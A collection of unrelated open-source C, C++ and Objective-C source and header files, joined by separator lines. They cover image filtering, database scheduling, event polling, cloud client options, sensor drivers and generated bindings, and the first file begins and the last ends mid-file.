* Implementation of the structure tensor, defined by
*
* \f[K_\rho (\nabla u_\sigma \otimes \nabla u_\sigma),\f]
*
* where \f$K_\rho\f$ denotes the gaussian kernel of standard deviation \f$\rho\f$,
* and \f$u_\sigma := K_\sigma * u\f$.
*
* \ingroup AnisotropicDiffusionLBR
*/
template <typename TImage,
typename TTensorImage = Image<SymmetricSecondRankTensor<typename TImage::PixelType, TImage::ImageDimension>,
TImage::ImageDimension>>
class StructureTensorImageFilter : public ImageToImageFilter<TImage, TTensorImage>
{
public:
ITK_DISALLOW_COPY_AND_MOVE(StructureTensorImageFilter);
using Self = StructureTensorImageFilter;
using Superclass = ImageToImageFilter<TImage, TImage>;
using Pointer = SmartPointer<Self>;
using ConstPointer = SmartPointer<const Self>;
/// Method for creation through the object factory.
itkNewMacro(Self);
/// Run-time type information (and related methods).
itkTypeMacro(StructureTensorImageFilter, Superclass);
using InputImageDimensionType = typename Superclass::InputImageType::ImageDimensionType;
static constexpr InputImageDimensionType InputImageDimension = Superclass::InputImageType::ImageDimension;
using ImageType = TImage;
using PixelType = typename ImageType::PixelType;
using TensorImageType = TTensorImage;
using TensorType = typename TensorImageType::PixelType;
using ScalarType = typename TensorType::ComponentType;
using ScalarImageType = Image<ScalarType, InputImageDimension>;
/// Parameter \f$\sigma\f$ of the structure tensor definition.
itkSetMacro(NoiseScale, ScalarType);
/// Parameter \f$\rho\f$ of the structure tensor definition.
itkSetMacro(FeatureScale, ScalarType);
/// Rescales all structure tensors by a common factor, so that the maximum trace is 1.
itkSetMacro(RescaleForUnitMaximumTrace, bool);
itkGetConstMacro(NoiseScale, ScalarType);
itkGetConstMacro(FeatureScale, ScalarType);
itkGetConstMacro(RescaleForUnitMaximumTrace, bool);
itkGetConstMacro(PostRescaling, ScalarType); /// Global rescaling constant used.
protected:
void
GenerateData() override;
ScalarType m_FeatureScale;
ScalarType m_NoiseScale;
bool m_RescaleForUnitMaximumTrace{ false };
ScalarType m_PostRescaling;
bool m_UseGradientRecursiveGaussianImageFilter{ true };
struct DispatchBase
{};
template <bool>
struct Dispatch : public DispatchBase
{};
void
IntermediateFilter(const Dispatch<true> &);
void
IntermediateFilter(const Dispatch<false> &);
typename TensorImageType::Pointer m_IntermediateResult;
using CovariantVectorType = CovariantVector<ScalarType, InputImageDimension>;
using CovariantImageType = Image<CovariantVectorType, InputImageDimension>;
struct OuterFunctor
{
TensorType
operator()(const CovariantVectorType & u) const
{
TensorType m;
for (InputImageDimensionType i = 0; i < InputImageDimension; ++i)
{
for (InputImageDimensionType j = i; j < InputImageDimension; ++j)
{
m(i, j) = u[i] * u[j];
}
}
return m;
}
};
struct TraceFunctor
{
ScalarType
operator()(const TensorType & t) const
{
return t.GetTrace();
}
};
struct ScaleFunctor
{
ScalarType scaling;
TensorType
operator()(const TensorType & t) const
{
return t * scaling;
}
};
StructureTensorImageFilter();
};
} // end namespace itk
#ifndef ITK_MANUAL_INSTANTIATION
# include "itkStructureTensorImageFilter.hxx"
#endif
#endif
|
//
// TweetComposer.h
//
// Created by Calvin Lai on 8/11/13.
//
//
#import <Foundation/Foundation.h>
#import <Cordova/CDVPlugin.h>
#import <Social/Social.h>
#import <Accounts/Accounts.h>
@interface BundleIdentifier : CDVPlugin {
NSMutableDictionary* callbackIds;
// NSString * phoneNumber;
// NSString * messageText;
}
@property (nonatomic, retain) NSMutableDictionary* callbackIds;
//@property (nonatomic, retain) NSString *phoneNumber;
//@property (nonatomic, retain) NSString *messageText;
- (void)get:(CDVInvokedUrlCommand*)command;
@end
|
/*************************************************************************
* Copyright (c) 2016, Gooeen. All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*************************************************************************/
#ifndef __OPENVX_CPP_DEFAULT_CONSTRUCTOR_H__
#define __OPENVX_CPP_DEFAULT_CONSTRUCTOR_H__
#include "ovxcontext.h"
#include "constructor.h"
namespace ovx
{
class openvxdll default_constructor : public constructor
{
public:
default_constructor(vx_uint32 width, vx_uint32 height, vx_df_image color, const ovxcontext &context = vxcontext);
default_constructor(default_constructor &&obj) noexcept;
default_constructor(const default_constructor &obj) = delete;
virtual ~default_constructor(void) noexcept;
void operator=(const default_constructor &) = delete;
void operator=(default_constructor &&obj) noexcept;
void release(void) noexcept;
};
}
#endif // !__OPENVX_CPP_DEFAULT_CONSTRUCTOR_H__
|
#import <Foundation/Foundation.h>
#import "PBObject.h"
/**
* Location Intelligence APIs
* Incorporate our extensive geodata into everyday applications, business processes and workflows.
*
* OpenAPI spec version: 8.5.0
*
*
* NOTE: This class is auto generated by the swagger code generator program.
* https://github.com/swagger-api/swagger-codegen.git
* Do not edit the class manually.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#import "PBGeoLocationFixedLineCountry.h"
@protocol PBDeviceStatusNetwork
@end
@interface PBDeviceStatusNetwork : PBObject
@property(nonatomic) NSString* carrier;
@property(nonatomic) NSString* callType;
@property(nonatomic) NSString* locAccuracySupport;
@property(nonatomic) NSString* nationalNumber;
@property(nonatomic) PBGeoLocationFixedLineCountry* country;
@end
|
/**
******************************************************************************
* @file discover_functions.h
* @author Microcontroller Division
* @version V1.2.4
* @date 01/2011
* @brief This file contains measurement values and boa
******************************************************************************
* @copy
*
* THE PRESENT FIRMWARE WHICH IS FOR GUIDANCE ONLY AIMS AT PROVIDING CUSTOMERS
* WITH CODING INFORMATION REGARDING THEIR PRODUCTS IN ORDER FOR THEM TO SAVE
* TIME. AS A RESULT, STMICROELECTRONICS SHALL NOT BE HELD LIABLE FOR ANY
* DIRECT, INDIRECT OR CONSEQUENTIAL DAMAGES WITH RESPECT TO ANY CLAIMS ARISING
* FROM THE CONTENT OF SUCH FIRMWARE AND/OR THE USE MADE BY CUSTOMERS OF THE
* CODING INFORMATION CONTAINED HEREIN IN CONNECTION WITH THEIR PRODUCTS.
*
* <h2><center>© COPYRIGHT 2010 STMicroelectronics</center></h2>
*/
/* Define to prevent recursive inclusion -------------------------------------*/
#ifndef __DISCOVER_FUNCTIONS_H
#define __DISCOVER_FUNCTIONS_H
/* Includes ------------------------------------------------------------------*/
#include "stm8l15x.h"
#define STR_VERSION tab[1] = 'V';tab[2] = '1'|DOT; tab[3] = '2'|DOT; tab[4] = '4'
/*#define STATE_VREF 0
#define STATE_ICC_RUN 1
#define STATE_LPR_LCD 2
#define STATE_LPR 3
#define STATE_HALT 4
#define I2C_READ 5
*/
#define MAX_STATE 6
typedef enum { STATE_CHECKNDEFMESSAGE = 0,
STATE_VREF ,
STATE_TEMPMEAS
} DemoState;
/* Theorically BandGAP 1.224volt */
#define VREF 1.224L
/* UNCOMMENT the line below for use the VREFINT_Factory_CONV value*/
/* else we use the typical value defined in the datasheet (see Vdd_appli function in the file discover_functions.c) */
// #define VREFINT_FACTORY_CONV 1
/*
ADC Converter
LSBIdeal = VREF/4096 or VDA/4096
*/
#define ADC_CONV 4096
/*
VDD Factory for VREFINT measurement
*/
#define VDD_FACTORY 3.0L
/* The VREFINT_Factory_CONV byte represents the LSB of the VREFINT 12-bit ADC conversion result. The MSB have a fixed value: 0x6 */
#define VREFINT_Factory_CONV_ADDRESS ((uint8_t*)0x4910)
/*
* The Typical value is 1.224
* Min value 1.202
* Max value 1.242
* The value VREF is 0x668 to 0x69f
*
*/
#define VREFINT_Factory_CONV_MSB 0x600 /* Le value MSB always 0x600 */
#define VREFINT_Factory_CONV_MIN 0x60 /* Low byte min */
#define VREFINT_Factory_CONV_MAX 0xA0 /* Low byte max */
#define MAX_CURRENT 9999
/* AUTO TEST VALUE */
/*
#define VCC_MIN 2915 // nominal Vcc/Vdd is 2.99V, allow 2.5% lower - Vref can be ~2% lower than 1.225
#define VCC_MAX 3100
#define ICC_RUN_MIN 1000
#define ICC_RUN_MAX 1600 // typical ICC_RUN is ~1.3mA, allow ~15% bigger
#define ICC_HALT_MIN 300
#define ICC_HALT_MAX 800 // typical ICC_HALT is 0.35uA, allow 800 nA instead 1000 this low value is for select the best circuits
#define ICC_LP_MIN 2500
#define ICC_LP_MAX 4060 // typical ICC_LP is ~2.9uA, allow ~40% bigger
#define LSE_DELAY 2000
*/
/* Exported constants --------------------------------------------------------*/
/* Exported macro ------------------------------------------------------------*/
/* Exported functions ------------------------------------------------------- */
int _fctcpy(char name);
void convert_into_char(uint16_t number, uint16_t *p_tab);
//void LPR_init(void);
//void Halt_Init(void);
uint16_t Vref_measure(void);
//void Icc_measure(void);
//float Icc_measure_RUN(void);
//float Icc_measure_HALT(void);
//float Icc_measure_LPR(void);
//void Icc_measure_LPR_LCD(void);
//void auto_test(void);
//void Bias_measurement(void);
//void test_vdd(void);
//void test_icc_Run(void);
//void test_icc_LP(void);
//void test_icc_HALT(void);
//void display_MuAmp (uint16_t);
void FLASH_ProgramBias(uint8_t) ;
float Vdd_appli(void);
void Display_Ram( void );
#endif /* __DISCOVER_FUNCTIONS_H*/
/******************* (C) COPYRIGHT 2010 STMicroelectronics *****END OF FILE****/
|
////////////////////////////////////////////////////////////////////////////////
/// DISCLAIMER
///
/// Copyright 2016 ArangoDB GmbH, Cologne, Germany
///
/// Licensed under the Apache License, Version 2.0 (the "License");
/// you may not use this file except in compliance with the License.
/// You may obtain a copy of the License at
///
/// http://www.apache.org/licenses/LICENSE-2.0
///
/// Unless required by applicable law or agreed to in writing, software
/// distributed under the License is distributed on an "AS IS" BASIS,
/// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
/// See the License for the specific language governing permissions and
/// limitations under the License.
///
/// Copyright holder is ArangoDB GmbH, Cologne, Germany
///
/// @author Dr. Frank Celler
////////////////////////////////////////////////////////////////////////////////
#ifndef ARANGOD_SCHEDULER_JOB_GUARD_H
#define ARANGOD_SCHEDULER_JOB_GUARD_H 1
#include "Basics/Common.h"
#include "Basics/SameThreadAsserter.h"
#include "Scheduler/EventLoop.h"
#include "Scheduler/Scheduler.h"
namespace arangodb {
namespace rest {
class Scheduler;
}
class JobGuard : public SameThreadAsserter {
public:
JobGuard(JobGuard const&) = delete;
JobGuard& operator=(JobGuard const&) = delete;
explicit JobGuard(EventLoop const& loop) : SameThreadAsserter(), _scheduler(loop._scheduler) {}
explicit JobGuard(rest::Scheduler* scheduler) : SameThreadAsserter(), _scheduler(scheduler) {}
~JobGuard() { release(); }
public:
void work() {
TRI_ASSERT(!_isWorkingFlag);
if (0 == _isWorking) {
_scheduler->workThread();
}
++_isWorking;
_isWorkingFlag = true;
}
void block() {
TRI_ASSERT(!_isBlockedFlag);
if (0 == _isBlocked) {
_scheduler->blockThread();
}
++_isBlocked;
_isBlockedFlag = true;
}
private:
void release() {
if (_isWorkingFlag) {
--_isWorking;
_isWorkingFlag = false;
if (0 == _isWorking) {
_scheduler->unworkThread();
}
}
if (_isBlockedFlag) {
--_isBlocked;
_isBlockedFlag = false;
if (0 == _isBlocked) {
_scheduler->unblockThread();
}
}
}
private:
rest::Scheduler* _scheduler;
bool _isWorkingFlag = false;
bool _isBlockedFlag = false;
static thread_local size_t _isWorking;
static thread_local size_t _isBlocked;
};
}
#endif
|
// Copyright 2016 Benjamin Glatzel
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
#pragma once
// UI related includes
#include "ui_IntrinsicEdPropertyEditorString.h"
class IntrinsicEdPropertyEditorString : public QWidget
{
Q_OBJECT
public:
IntrinsicEdPropertyEditorString(rapidjson::Document* p_Document,
rapidjson::Value* p_CurrentProperties,
rapidjson::Value* p_CurrentProperty,
const char* p_PropertyName,
QWidget* parent = nullptr);
~IntrinsicEdPropertyEditorString();
public slots:
void onValueChanged();
signals:
void valueChanged(rapidjson::Value& p_Properties);
private:
void updateFromProperty();
Ui::IntrinsicEdPropertyEditorStringClass _ui;
rapidjson::Value* _property;
rapidjson::Value* _properties;
rapidjson::Document* _document;
_INTR_STRING _propertyName;
};
|
/*! \file Texture.h
* \author Jared Hoberock
* \brief Defines the interface to a class abstracting
* textures for shading.
*/
#pragma once
#include <array2/Array2.h>
#include "../include/detail/Spectrum.h"
class Texture
: protected Array2<Spectrum>
{
public:
/*! Null constructor creates a 1x1 white Texture.
*/
Texture(void);
/*! Constructor calls the Parent.
* \param w The width of the Texture.
* \param h The height of the Texture.
* \param pixels The pixel data to copy into this Texture.
*/
Texture(const size_t w, const size_t h, const Spectrum *pixels);
/*! Constructor takes a filename referring to
* an image file on disk.
* \param filename The name of the image file of interest.
*/
Texture(const char *filename);
/*! This method provides const access to pixels.
* \param x The column index of the pixel of interest.
* \param y The row index of the pixel of interest.
* \return A const reference to pixel (x,y).
*/
virtual const Spectrum &texRect(const size_t x,
const size_t y) const;
/*! This method provides nearest-neighbor filtering
* given pixel coordinates in [0,1]^2.
* \param u The u-coordinate of the pixel location of interest.
* \param v The v-coordinate of the pixel location of interest.
* \return The box-filtered pixel at (u,v).
*/
virtual const Spectrum &tex2D(const float u,
const float v) const;
/*! This method loads this Texture's data from an
* image file on disk.
* \param filename
* \param filename The name of the image file of interest.
*/
virtual void load(const char *filename);
protected:
/*! \typedef Parent
* \brief Shorthand.
*/
typedef Array2<Spectrum> Parent;
}; // end Texture
|
/*
* Bean Java VM
* Copyright (C) 2005-2015 Christian Lins <[email protected]>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <debug.h>
#include <vm.h>
void do_IINC_WIDE(Thread *thread, int index, int value)
{
/* Increment variable in local variable array */
}
/*
* Increments the variable specified by the first operand (index)
* by the int value of the seconds operand.
*/
void do_IINC(Thread *thread)
{
dbgmsg("IINC");
int index, value;
index = Get1ByteOperand(current_frame(thread)); /* Increments IP by one */
value = Get1ByteOperand(current_frame(thread)); /* Increments IP by one */
do_IINC_WIDE(thread, index, value);
}
|
//
// SendMessageRequest.h
// ProximitySenseSDK
//
// Created by Vladimir Petrov on 31/08/2015.
// Copyright (c) 2015 Blue Sense Networks. All rights reserved.
//
#import <Foundation/Foundation.h>
@interface SendMessageRequest : NSObject
@property (nonatomic, strong) NSString *message;
@end
|
/* Copyright 2017 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/
#ifndef TENSORFLOW_COMPILER_XLA_ARRAY3D_H_
#define TENSORFLOW_COMPILER_XLA_ARRAY3D_H_
#include <algorithm>
#include <functional>
#include <initializer_list>
#include <iterator>
#include <memory>
#include <numeric>
#include <random>
#include "tensorflow/compiler/xla/array.h"
#include "tensorflow/compiler/xla/types.h"
#include "tensorflow/core/platform/logging.h"
#include "tensorflow/core/platform/macros.h"
#include "tensorflow/core/platform/types.h"
namespace xla {
// Simple 3D array structure.
template <typename T>
class Array3D : public Array<T> {
public:
Array3D() : Array<T>(std::vector<int64_t>{0, 0, 0}) {}
// Creates an array of dimensions n1 x n2 x n3, uninitialized values.
Array3D(const int64_t n1, const int64_t n2, const int64_t n3)
: Array<T>(std::vector<int64_t>{n1, n2, n3}) {}
// Creates an array of dimensions n1 x n2 x n3, initialized to value.
Array3D(const int64_t n1, const int64_t n2, const int64_t n3, const T value)
: Array<T>(std::vector<int64_t>{n1, n2, n3}, value) {}
// Creates an array from the given nested initializer list. The outer
// initializer list is the first dimension, and so on.
//
// For example {{{1, 2}, {3, 4}, {5, 6}, {7, 8}},
// {{9, 10}, {11, 12}, {13, 14}, {15, 16}},
// {{17, 18}, {19, 20}, {21, 22}, {23, 24}}}
// results in an array with n1=3, n2=4, n3=2.
Array3D(std::initializer_list<std::initializer_list<std::initializer_list<T>>>
values)
: Array<T>(values) {}
// Creates an array of a floating-point type (half, bfloat16, float,
// or double) from the given nested initializer list of float values.
template <typename T2, typename = typename std::enable_if<
(std::is_same<T, Eigen::half>::value ||
std::is_same<T, bfloat16>::value ||
std::is_same<T, float>::value ||
std::is_same<T, double>::value) &&
std::is_same<T2, float>::value>::type>
Array3D(
std::initializer_list<std::initializer_list<std::initializer_list<T2>>>
values)
: Array<T>(values) {}
int64_t n1() const { return this->dim(0); }
int64_t n2() const { return this->dim(1); }
int64_t n3() const { return this->dim(2); }
};
} // namespace xla
#endif // TENSORFLOW_COMPILER_XLA_ARRAY3D_H_
|
/* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
#include <sys/types.h>
#include <sys/event.h>
#include <sys/time.h>
#include <string.h>
#include <unistd.h>
#include <ckit/event.h>
#include <ckit/debug.h>
#include <ckit/time.h>
int event_open(void)
{
return kqueue();
}
void event_close(int efd)
{
close(efd);
}
static unsigned short kevent_flags(enum event_ctl ctl, struct event *ev)
{
unsigned short flags = 0;
switch (ctl) {
case EVENT_CTL_ADD:
case EVENT_CTL_MOD:
flags |= EV_ADD;
break;
case EVENT_CTL_DEL:
flags |= EV_DELETE;
break;
}
if (ev->events & EVENT_ONESHOT)
flags |= EV_ONESHOT;
return flags;
}
static void kevent_to_event(const struct kevent *kev, struct event *ev)
{
memset(ev, 0, sizeof(*ev));
if (kev->filter == EVFILT_READ) {
//LOG_DBG("EVFILT_READ is set fd=%d\n", (int)kev->ident);
ev->events |= EVENT_IN;
}
if (kev->filter == EVFILT_WRITE) {
//LOG_DBG("EVFILT_WRITE is set fd=%d\n", (int)kev->ident);
ev->events |= EVENT_OUT;
}
if (kev->flags & EV_EOF) {
//LOG_DBG("EV_EOF set on fd=%d\n", (int)kev->ident);
ev->events |= EVENT_RDHUP;
}
ev->data.fd = (int)kev->ident;
ev->data.ptr = kev->udata;
}
int event_ctl(int efd, enum event_ctl ctl, int fd, struct event *ev)
{
struct kevent kev[2];
unsigned i = 0;
if (ev->events & EVENT_IN) {
//LOG_ERR("EVFILT_READ fd=%d\n", fd);
EV_SET(&kev[i++], fd, EVFILT_READ, kevent_flags(ctl, ev),
0, 0, ev->data.ptr);
}
if (ev->events & EVENT_OUT) {
//LOG_ERR("EVFILT_WRITE fd=%d\n", fd);
EV_SET(&kev[i++], fd, EVFILT_WRITE, kevent_flags(ctl, ev),
0, 0, ev->data.ptr);
}
return kevent(efd, kev, i, NULL, 0, NULL);
}
int event_wait(int efd, struct event *events, int maxevents, int timeout)
{
struct kevent kevents[maxevents];
struct timespec ts = { 0, 0 };
struct timespec *ts_ptr = &ts;
int ret;
timespec_add_nsec(&ts, timeout * 1000000L);
memset(kevents, 0, sizeof(kevents));
if (timeout == -1)
ts_ptr = NULL;
ret = kevent(efd, NULL, 0, kevents, maxevents, ts_ptr);
if (ret == -1) {
LOG_ERR("kevent: %s\n", strerror(errno));
} else if (ret > 0) {
int i;
/* Fill in events */
for (i = 0; i < ret; i++) {
/* Check for error. The kevent() call may return either -1
* on error or an error event in the eventlist in case
* there is room */
if (kevents[i].flags & EV_ERROR) {
errno = kevents[i].data;
/* NOTE/WARNING: What happens to other events returned
* that aren't errors when we return -1 here? This is
* not entirely clear, but since they won't be
* processed by the caller of this function (as the
* return value is -1) the events should still be
* pending and returned in the next call to this
* function. This might, however, not be true for edge
* triggered events. */
return -1;
}
kevent_to_event(&kevents[i], &events[i]);
}
}
return ret;
}
|
// Copyright 2022 Google LLC
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// https://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// Generated by the Codegen C++ plugin.
// If you make any local changes, they will be lost.
// source: google/cloud/ids/v1/ids.proto
#ifndef GOOGLE_CLOUD_CPP_GOOGLE_CLOUD_IDS_IDS_OPTIONS_H
#define GOOGLE_CLOUD_CPP_GOOGLE_CLOUD_IDS_IDS_OPTIONS_H
#include "google/cloud/ids/ids_connection.h"
#include "google/cloud/ids/ids_connection_idempotency_policy.h"
#include "google/cloud/backoff_policy.h"
#include "google/cloud/options.h"
#include "google/cloud/version.h"
#include <memory>
namespace google {
namespace cloud {
namespace ids {
GOOGLE_CLOUD_CPP_INLINE_NAMESPACE_BEGIN
/// Option to use with `google::cloud::Options`.
struct IDSRetryPolicyOption {
using Type = std::shared_ptr<IDSRetryPolicy>;
};
/// Option to use with `google::cloud::Options`.
struct IDSBackoffPolicyOption {
using Type = std::shared_ptr<BackoffPolicy>;
};
/// Option to use with `google::cloud::Options`.
struct IDSPollingPolicyOption {
using Type = std::shared_ptr<PollingPolicy>;
};
/// Option to use with `google::cloud::Options`.
struct IDSConnectionIdempotencyPolicyOption {
using Type = std::shared_ptr<IDSConnectionIdempotencyPolicy>;
};
using IDSPolicyOptionList =
OptionList<IDSRetryPolicyOption, IDSBackoffPolicyOption,
IDSPollingPolicyOption, IDSConnectionIdempotencyPolicyOption>;
GOOGLE_CLOUD_CPP_INLINE_NAMESPACE_END
} // namespace ids
} // namespace cloud
} // namespace google
#endif // GOOGLE_CLOUD_CPP_GOOGLE_CLOUD_IDS_IDS_OPTIONS_H
|
// This header file is deprecated in 3ds Max 2011.
// Please use header file listed below.
#include "..\maxscript\protocols\time.h"
|
//
// WebViewPushController.h
// Tools
//
// Created by 张书孟 on 2018/4/16.
// Copyright © 2018年 张书孟. All rights reserved.
//
#import "BaseViewController.h"
@interface WebViewPushController : BaseViewController
@property (nonatomic, strong) NSString *url;
@end
|
//
// MianTableViewCell.h
// SweetFood
//
// Created by scjy on 16/3/4.
// Copyright © 2016年 范芳芳. All rights reserved.
//
#import <UIKit/UIKit.h>
#import "MianModel.h"
#import "MainModel.h"
@interface MianTableViewCell : UITableViewCell
@property (strong, nonatomic) UIImageView *cellImage;
@property (strong, nonatomic) UILabel *titleLable;
@end
|
// Licensed to the Apache Software Foundation (ASF) under one
// or more contributor license agreements. See the NOTICE file
// distributed with this work for additional information
// regarding copyright ownership. The ASF licenses this file
// to you under the Apache License, Version 2.0 (the
// "License"); you may not use this file except in compliance
// with the License. You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing,
// software distributed under the License is distributed on an
// "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
// KIND, either express or implied. See the License for the
// specific language governing permissions and limitations
// under the License.
#ifndef KUDU_UTIL_FLAGS_H
#define KUDU_UTIL_FLAGS_H
#include <cstdint>
#include <string>
#include <unordered_map>
#include "kudu/util/status.h"
namespace google {
struct CommandLineFlagInfo;
}
namespace kudu {
// The umask of the process, set based on the --umask flag during
// HandleCommonFlags().
extern uint32_t g_parsed_umask;
// Looks for flags in argv and parses them. Rearranges argv to put
// flags first, or removes them entirely if remove_flags is true.
// If a flag is defined more than once in the command line or flag
// file, the last definition is used. Returns the index (into argv)
// of the first non-flag argument.
//
// This is a wrapper around google::ParseCommandLineFlags, but integrates
// with Kudu flag tags. For example, --helpxml will include the list of
// tags for each flag. This should be be used instead of
// google::ParseCommandLineFlags in any user-facing binary.
//
// See gflags.h for more information.
int ParseCommandLineFlags(int* argc, char*** argv, bool remove_flags);
// Handle common flags such as -version, -disable_core_dumps, etc.
// This includes the GFlags common flags such as "-help".
//
// Requires that flags have already been parsed using
// google::ParseCommandLineNonHelpFlags().
void HandleCommonFlags();
// Verifies that the flags are allowed to be set and valid.
// Should be called after logging is initialized. Otherwise
// logging will write to stderr.
void ValidateFlags();
enum class EscapeMode {
HTML,
NONE
};
// Stick the flags into a string. If redaction is enabled, the values of
// flags tagged as sensitive will be redacted. Otherwise, the values
// will be written to the string as-is. The values will be HTML escaped
// if EscapeMode is HTML.
std::string CommandlineFlagsIntoString(EscapeMode mode);
typedef std::unordered_map<std::string, google::CommandLineFlagInfo> GFlagsMap;
// Get all the flags different from their defaults. The output is a nicely
// formatted string with --flag=value pairs per line. Redact any flags that
// are tagged as sensitive, if redaction is enabled.
std::string GetNonDefaultFlags();
GFlagsMap GetFlagsMap();
enum class TriStateFlag {
DISABLED,
OPTIONAL,
REQUIRED,
};
Status ParseTriState(const char* flag_name, const std::string& flag_value,
TriStateFlag* tri_state);
std::string CheckFlagAndRedact(const google::CommandLineFlagInfo& flag, EscapeMode mode);
} // namespace kudu
#endif /* KUDU_UTIL_FLAGS_H */
|
#include <Wire.h>
#include "lis331dlh.h"
#include "l3g4200d.h"
#include "lis3mdl.h"
#include "LPS331.h"
#include "MadgwickAHRS.h"
// Accelerometer
#define ACCEL_ADDRESS_V1 LIS331DLH_TWI_ADDRESS
#define ACCEL_ADDRESS_V2 LIS331DLH_TWI_ADDRESS_V2
// Gyroscope
#define GYRO_ADDRESS_V1 L3G4200D_TWI_ADDRESS
#define GYRO_ADDRESS_V2 L3G4200D_TWI_ADDRESS_V2
// Compass
#define COMPASS_ADDRESS_V1 LIS3MDL_TWI_ADDRESS
#define COMPASS_ADDRESS_V2 LIS3MDL_TWI_ADDRESS_V2
// Barometer
#define BARO_ADDRESS_V1 LPS331AP_TWI_ADDRESS
#define BARO_ADDRESS_V2 LPS331AP_TWI_ADDRESS_V2
class Accelerometer : public LIS331DLH_TWI
{
public:
Accelerometer(uint8_t addr = ACCEL_ADDRESS_V1) :
LIS331DLH_TWI(addr) {}
};
class Gyroscope : public L3G4200D_TWI
{
public:
Gyroscope(uint8_t addr = GYRO_ADDRESS_V1) :
L3G4200D_TWI(addr) {}
};
class Compass : public LIS3MDL_TWI
{
public:
Compass(uint8_t addr = COMPASS_ADDRESS_V1) :
LIS3MDL_TWI(addr) {}
};
class Barometer : public LPS331
{
public:
Barometer(uint8_t addr = BARO_ADDRESS_V1) :
LPS331(addr) {}
};
|
#pragma once
#include "il2cpp-config.h"
#ifndef _MSC_VER
# include <alloca.h>
#else
# include <malloc.h>
#endif
#include <stdint.h>
// System.Object
struct Il2CppObject;
// System.IAsyncResult
struct IAsyncResult_t537683269;
// System.AsyncCallback
struct AsyncCallback_t1363551830;
#include "mscorlib_System_MulticastDelegate2585444626.h"
#include "mscorlib_System_Int322847414787.h"
#ifdef __clang__
#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Winvalid-offsetof"
#pragma clang diagnostic ignored "-Wunused-variable"
#endif
// System.Collections.Generic.Dictionary`2/Transform`1<System.Int32,System.Object,System.Object>
struct Transform_1_t4035712581 : public MulticastDelegate_t2585444626
{
public:
public:
};
#ifdef __clang__
#pragma clang diagnostic pop
#endif
|
/*******************************************************************************
* Copyright 2016 Francesco Calimeri, Davide Fusca', Simona Perri and Jessica Zangari
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*******************************************************************************/
/*
* GroundingPreferences.h
*
* Created on: Mar 10, 2016
* Author: jessica
*/
#ifndef SRC_GROUNDER_STATEMENT_GROUNDINGPREFERENCES_H_
#define SRC_GROUNDER_STATEMENT_GROUNDINGPREFERENCES_H_
#include <unordered_map>
#include "Rule.h"
#include <iostream>
#include <vector>
#include <list>
using namespace std;
namespace DLV2 {
namespace grounder {
struct HashAtomPointer{
inline size_t operator()(Atom* obj) const {
return size_t(obj);
}
inline bool operator()(Atom* obj1, Atom* obj2) const {
return obj1==obj2;
}
};
enum AnnotationsError {OK, ATOM_NOT_PRESENT, ARITY_ERROR, CONFLICT_FOUND};
typedef unordered_map<Atom*,vector<unsigned>,HashAtomPointer,HashAtomPointer> unordered_map_pointers_atom_arguments;
typedef unordered_map<Atom*,vector<unsigned>,HashForTable<Atom>,HashForTable<Atom>> unordered_map_atom_arguments;
class GroundingPreferences {
public:
bool addRuleOrderingType(Rule* rule, unsigned orderingType);
bool addRuleProjectionType(Rule* rule, unsigned pType){
rulesProjectionTypes.insert({rule->getIndex(), pType});
return true;
}
void addRuleRewArith(Rule* rule){
rulesRewArith.insert(rule->getIndex());
}
void addRuleLookAhead(Rule* rule){
rulesLookAhead.insert(rule->getIndex());
}
void addRuleAlignSubstitutions(Rule* rule){
rulesAlignSubstitutions.insert(rule->getIndex());
}
